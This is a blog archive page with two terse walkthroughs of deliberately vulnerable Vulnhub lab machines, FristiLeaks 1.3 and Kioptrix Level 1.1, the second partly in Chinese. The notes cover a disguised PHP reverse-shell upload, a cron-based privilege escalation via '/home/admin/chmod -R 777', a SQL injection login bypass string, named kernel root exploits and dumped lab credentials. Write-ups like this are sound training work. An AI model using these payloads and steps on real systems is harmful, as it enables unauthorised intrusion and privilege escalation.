Showing posts with label centos. Show all posts
Showing posts with label centos. Show all posts

Tuesday, October 8, 2019

Vulnhub: FristiLeaks: 1.3

source: https://www.vulnhub.com/entry/fristileaks-13,133/

192.168.1.24

nmap:
80/tcp open  http    Apache httpd 2.2.15 ((CentOS) DAV/2 PHP/5.3.3)

maybe centos 6.8

nikto:
/cola
/sisi
/beer
/robots.txt
/icons
/images
/icons/README

login page: http://192.168.1.24/fristi/

from source code:
TODO:
We need to clean this up for production. I left some junk in here to make testing easier.

- by eezeepz


and two base64-encoded pictures.


username eezeepz, password keKkeKKeKKeKkEkkEk


upload bypass:

rename rs.php to rs.php.png

centos 6.7
Linux localhost.localdomain 2.6.32-573.8.1.el6.x86_64 #1 SMP Tue Nov 10 18:01:38 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux


eezeepz:x:500:500::/home/eezeepz:/bin/bash
admin:x:501:501::/home/admin:/bin/bash
fristigod:x:502:502::/var/fristigod:/bin/bash

fristi:x:503:100::/var/www:/sbin/nologin

cat /var/www/notes.txt hey eezeepz your homedir is a mess, go clean it up, just dont delete the important stuff. -jerry

cat /home/eezeepz/notes.txt
Yo EZ,
I made it possible for you to do some automated checks,
but I did only allow you access to /usr/bin/* system binaries. I did
however copy a few extra often needed commands to my
homedir: chmod, df, cat, echo, ps, grep, egrep so you can use those
from /home/admin/

Don't forget to specify the full path for each binary!

Just put a file called "runthis" in /tmp/, each line one command. The
output goes to the file "cronresult" in /tmp/. It should
run every minute with my account privileges.

- Jerry

privilege escalation:
echo “/home/admin/chmod -R 777 /home/admin” > /tmp/runthis
cd /home/admin
cat whoisyourgodnow.txt
=RFn0AKnlMHMPIzpyuTI0ITG
cat cryptedpass.txt
mVGZ3O3omkJLmy2pcuTq
cat cryptpass.py
rot13 decode->reverse->base64 decode

mVGZ3O3omkJLmy2pcuTq->thisisalsopw123
=RFn0AKnlMHMPIzpyuTI0ITG->LetThereBeFristi!
username fristigod, password LetThereBeFristi!

switch to tty:
python -c "import pty; pty.spawn('/bin/bash')"






head /var/www/html/fristi/checklogin.php
<?php

ob_start();
$host="localhost"; // Host name
$username="eezeepz"; // Mysql username
$password="4ll3maal12#"; // Mysql password
$db_name="hackmenow"; // Database name
$tbl_name="members"; // Table name

Tuesday, September 10, 2019

Vulnhub Kioptrix: Level 1.1 (#2)

来源: https://www.vulnhub.com/entry/kioptrix-level-11-2,23/

Kioptrix_Level_2-update.rar












  • 22/tcp OpenSSH 3.9p1 (protocol 1.99)
  • 80/tcp Apache httpd 2.0.52 ((CentOS))
  • 111/tcp rpcbind 2 (RPC)
  • 443/tcp ssl/https?
  • 631/tcp CUPS 1.1
  • 781/tcop status 1 (RPC)
  • 3306/tcp mysql MySQL





多次尝试后[1], 尝试使用 sql 注入绕过验证

多次盲注尝试[2]


























http://192.168.1.101/index.php 用户名 Administrator 密码 pass' or 1=1 and 'a'='a

从 web 调用 ping 的页面

如果没有过滤就是一个现成的 webshell












使用 nc 得到 reverse shell



















  • sendpage
  • ip_append_data


method 1:


Linux Kernel 2.4/2.6 (RedHat Linux 9 / Fedora Core 4 < 11 / Whitebox 4 / CentOS 4) - 'sock_sendpage()' Ring0 Privilege Escalation (5)























method 2:

Linux Kernel 2.6 < 2.6.19 (White Box 4 / CentOS 4.4/4.5 / Fedora Core 4/5/6 x86) - 'ip_append_data()' Ring0 Privilege Escalation (1)
















post exploitation










mysql 用户名 john 密码 hiroshima












web

  • 用户名 admin 密码 5afac8d85f
  • 用户名 john 密码 66lajGGbla












mysql 用户名 root 密码 hiroshima